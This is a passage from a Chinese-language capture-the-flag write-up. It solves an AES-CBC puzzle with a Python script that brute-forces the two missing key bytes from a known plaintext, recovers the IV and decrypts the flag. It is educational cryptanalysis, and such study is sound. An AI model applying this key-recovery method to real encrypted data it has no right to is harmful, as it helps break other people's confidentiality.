`CTF{F4c70rdb_m4j_h3!p_y@u_4_lo00o@ot!!*-}` --- ### 🔓 Crypto 200 - Lost 透過封包的內容我們可以得到 ``` Plaintext = Thi5 i$ 7he p!4int3x7 0f AES-CBC KEY = Ad5xBvZR1HVhE6** // 後面兩位未知 AES-CBC(KEY, FLAG) = 9c2ea756ed9ca3c05d541f7df961b3569e5f85a3387a818ed4c23db57aeeb1e4 AES-CBC(KEY, Plaintext) = 1f****************************8452fe2ad18a9e5e26887d133a13d7b818 ``` 因為 AES-CBC 以 Block 作為切割,所以先從已知的 block 開始, 也就是 `Plaintext[16:]` ,以及 `Ciphertext[16:]` , 先將所有的 key 組合找出,並用 `Ciphertext[0:16]` 驗證該組合的可能性。 然後將所有可能的 key ,嘗試用 `Ciphertext[0:16]` 找出 IV , 並再用該組 (key, IV) 對 FLAG 解密,得到 FLAG 格式的即為解。 ```python #!/usr/bin/env python import string import itertools from Crypto.Cipher import AES def xor_blocks(b1, b2): return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(b1, b2)) def encrypt(m, p, iv): aes = AES.new(p, AES.MODE_CBC, iv) return aes.encrypt(m) def decrypt_block(c, k): aes = AES.new(k, AES.MODE_ECB) return aes.decrypt(c) def brute_block(c_block, p_block, known_iv, known_key_prefix): assert(len(p_block) == 16) # Candidate list candidates = [] # Known key prefix brute_count = (16 - len(known_key_prefix)) # Character set charset = [chr(x) for x in xrange(0x00,0x100)] # Brute-force for p in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(brute_count, brute_count + 1)): candidate = known_key_prefix + p d = decrypt_block(c_block, candidate) t = True # Check whether known plaintext/known iv constraint holds for offset in known_iv: t = (t and (p_block[offset] == chr(ord(d[offset]) ^ ord(known_iv[offset])))) if(t == True): candidates.append(candidate) return candidates # Known key fragment known_key_prefix = "Ad5xBvZR1HVhE6" # Known plaintext plaintext = "Thi5 i$ 7he p!4int3x7 0f AES-CBC" # Ciphertext block 1 c_block_1 = "52fe2ad18a9e5e26887d133a13d7b818".decode('hex') # Known fragments of ciphertext block 0, organized by offset known_iv = { 0: "\x1f", 15: "\x84" } # Obtain candidate keys candidate_keys = brute_block(c_block_1, plaintext[16:], known_iv, known_key_prefix) # Try all candidate keys for k in candidate_keys: # Obtain ciphertext block 0 as IV of ciphertext block 1 c_block_0 = xor_blocks(decrypt_block(c_block_1, k), plaintext[16:]) # Obtain IV given known ciphertext block 0, plaintext block 0 and key IV = xor_blocks(decrypt_block(c_block_0, k), plaintext[:16]) print k print "[+]Candidate IV: [%s]" % repr(IV) aes = AES.new(k, AES.MODE_CBC, "8RQEs0dcprleIYbd") print aes.decrypt("9c2ea756ed9ca3c05d541f7df961b3569e5f85a3387a818ed4c23db57aeeb1e4".decode('hex')) ``` Ref: https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/TMCTF/crypto/crypto200 Flag: `CTF{0x52fec4c0afd8ffaebc93cbaa6}` --- ### 🔓 Crypto 400 - Helllo ![](https://static.mengniang.org/common/thumb/4/41/Nicky.jpg/250px-Nicky.jpg) ---